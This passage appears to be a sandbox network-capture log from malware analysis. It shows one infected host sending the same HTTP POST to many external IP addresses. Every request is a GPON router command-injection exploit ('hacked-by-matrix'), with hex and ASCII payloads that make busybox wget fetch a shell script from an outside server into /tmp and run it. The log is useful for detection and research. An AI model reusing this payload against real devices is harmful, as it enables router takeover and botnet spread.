Mar 2, 2024 12:37:01.876688004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	44742	178.57.136.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876689911 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	60866	2.185.201.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876707077 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	56204	178.228.145.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876708984 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	35900	109.21.102.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876708984 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	35246	37.4.37.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876728058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	43618	79.213.182.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876740932 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	33018	79.84.187.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876741886 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	33976	212.230.78.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876765013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	52246	2.111.135.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876791000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	54162	212.224.70.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876800060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	48080	79.1.184.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876801968 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	54256	5.166.48.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876826048 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	53064	5.196.248.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876838923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	35190	37.246.128.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876838923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	41776	79.230.191.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876847029 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	43174	94.124.221.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876873970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	57366	94.78.223.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876876116 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	48722	37.240.71.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876879930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	33920	5.14.69.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876880884 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	40470	109.226.142.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876914978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	52574	2.50.14.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876934052 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	33000	118.80.185.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876939058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	50116	109.17.166.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876939058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	49470	42.8.194.242	443

Timestamp	Bytes transferred	Direction	Data
